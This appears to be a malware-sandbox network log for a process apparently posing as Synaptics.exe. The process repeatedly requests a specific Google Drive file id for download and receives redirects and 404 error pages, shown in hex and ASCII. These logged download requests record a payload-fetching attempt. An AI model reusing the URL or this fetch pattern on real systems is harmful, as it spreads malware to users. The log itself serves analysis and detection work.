2025-01-02 19:29:20 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:20 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 65 6d 68 32 52 6c 54 4c 32 43 42 6a 7a 53 33 33 76 78 53 38 64 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="emh2RlTL2CBjzS33vxS8dg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:20 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	50104	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:20 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-GsfgMww_3da2Cs0xG_188w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	50106	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:20 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:21 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6UESL7_ngE9-XEMPc9saozz4sYjxyg8luQAkMgKlJc6rwMhaGFJqcsjp-Mvkbm9gkpWFIHOt8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:21 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-yJP3YN7kj7PHVPpeWQc6fw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:21 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:21 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 67 43 45 66 53 4a 52 78 37 55 30 46 64 4b 6b 44 33 77 48 64 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="vgCEfSJRx7U0FdKkD3wHdQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:21 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	50108	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:21 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:21 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:21 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-F69Z7O-PAJ8lxnvKNRQ5sw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	50107	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:21 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:21 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7_YBKVFDcScWGLRFpUcPWcR5Evw8_MYK8Pzgmqpsy1Drxb40yvOYcx0WizVSrM8-1o Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:21 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce--3PEpwT8x_P87-faJTPaew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:21 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:21 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 4c 45 78 72 51 4d 36 4b 76 66 70 30 2d 57 79 35 2d 38 32 37 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="0LExrQM6Kvfp0-Wy5-827w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:21 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	50116	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:21 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	50118	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:22 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	50122	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:22 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:22 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:22 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-1Nyggq4mnR8GsIgEG0W05Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	50128	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:22 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-E6ktV8VvAt5xDYXS7b0Vkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	50134	216.58.206.78	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:23 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:23 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:23 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-eDH9IfX4GNKgnO4F_-TVqw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	50133	142.250.186.129	443	4136	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:23 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
2025-01-02 19:29:23 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5qKbUWqEjAv_2QWoAgqyLPY5AEqBBiMu4H7NXcKArSxlunctDSp-D289QVkQVKR-wp Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:23 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-6iAdYXwOHgzDW6ZUyMZVWQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
